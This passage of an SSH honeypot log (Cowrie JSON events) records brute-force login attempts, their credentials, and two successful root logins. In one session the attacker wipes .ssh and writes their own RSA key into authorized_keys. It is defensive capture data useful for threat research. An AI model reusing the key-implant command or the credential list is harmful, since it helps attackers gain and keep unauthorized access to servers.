16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:16.813780Z","src_ip":"2.57.122.208","session":"ec3f0f7d664b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:17.155835Z","src_ip":"2.57.122.208","session":"ec3f0f7d664b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:18.262247Z","src_ip":"2.57.122.208","session":"ec3f0f7d664b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38612,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f1ccab21cfc","protocol":"ssh","message":"New connection: 2.57.121.25:38612 (10.17.0.5:22) [session: 9f1ccab21cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:36.394688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:36.398877Z","src_ip":"2.57.121.25","session":"9f1ccab21cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:36.497958Z","src_ip":"2.57.121.25","session":"9f1ccab21cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12071980","message":"login attempt [user/12071980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:36.969480Z","src_ip":"2.57.121.25","session":"9f1ccab21cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12051984","message":"login attempt [user/12051984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:38.071432Z","src_ip":"2.57.121.25","session":"9f1ccab21cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120489","message":"login attempt [user/120489] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:39.172837Z","src_ip":"2.57.121.25","session":"9f1ccab21cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120485","message":"login attempt [user/120485] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:40.273888Z","src_ip":"2.57.121.25","session":"9f1ccab21cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12011984","message":"login attempt [user/12011984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:41.374873Z","src_ip":"2.57.121.25","session":"9f1ccab21cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:42.476966Z","src_ip":"2.57.121.25","session":"9f1ccab21cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":37812,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f77b2711c3c","protocol":"ssh","message":"New connection: 177.11.196.84:37812 (10.17.0.5:22) [session: 8f77b2711c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:51.465215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:51.469306Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:51.604129Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"amin","message":"login attempt [root/amin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:52.165167Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:52.469475Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:52.472110Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:52.474758Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:52.611025Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:52.943549Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:52.945948Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:53.082858Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:53.086672Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":59414,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba19c6038244","protocol":"ssh","message":"New connection: 177.11.196.84:59414 (10.17.0.5:22) [session: ba19c6038244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:53.211980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:53.217254Z","src_ip":"177.11.196.84","session":"ba19c6038244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:53.353345Z","src_ip":"177.11.196.84","session":"ba19c6038244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:53.917308Z","src_ip":"177.11.196.84","session":"ba19c6038244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:55.054178Z","src_ip":"177.11.196.84","session":"ba19c6038244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":59428,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d07657a1f78","protocol":"ssh","message":"New connection: 177.11.196.84:59428 (10.17.0.5:22) [session: 7d07657a1f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:55.192960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:55.196760Z","src_ip":"177.11.196.84","session":"7d07657a1f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:55.338020Z","src_ip":"177.11.196.84","session":"7d07657a1f78","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:55.924352Z","src_ip":"177.11.196.84","session":"7d07657a1f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:56.060783Z","src_ip":"177.11.196.84","session":"8f77b2711c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:56.065377Z","src_ip":"177.11.196.84","session":"7d07657a1f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":36560,"dst_ip":"10.17.0.5","dst_port":22,"session":"374f19d6bfb6","protocol":"ssh","message":"New connection: 64.188.83.153:36560 (10.17.0.5:22) [session: 374f19d6bfb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:09.964488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:09.969567Z","src_ip":"64.188.83.153","session":"374f19d6bfb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:10.054670Z","src_ip":"64.188.83.153","session":"374f19d6bfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"1234","message":"login attempt [info/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:10.427990Z","src_ip":"64.188.83.153","session":"374f19d6bfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:11.516944Z","src_ip":"64.188.83.153","session":"374f19d6bfb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":33284,"dst_ip":"10.17.0.5","dst_port":22,"session":"19729d100fd9","protocol":"ssh","message":"New connection: 147.50.103.212:33284 (10.17.0.5:22) [session: 19729d100fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:23.934567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:23.939491Z","src_ip":"147.50.103.212","session":"19729d100fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:24.203321Z","src_ip":"147.50.103.212","session":"19729d100fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshtunnel","password":"sshtunnel1234","message":"login attempt [sshtunnel/sshtunnel1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:25.279373Z","src_ip":"147.50.103.212","session":"19729d100fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:26.543139Z","src_ip":"147.50.103.212","session":"19729d100fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":54642,"dst_ip":"10.17.0.5","dst_port":22,"session":"c67e9b3407db","protocol":"ssh","message":"New connection: 27.111.32.174:54642 (10.17.0.5:22) [session: c67e9b3407db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:31.571992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:15:31.576768Z","src_ip":"27.111.32.174","session":"c67e9b3407db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2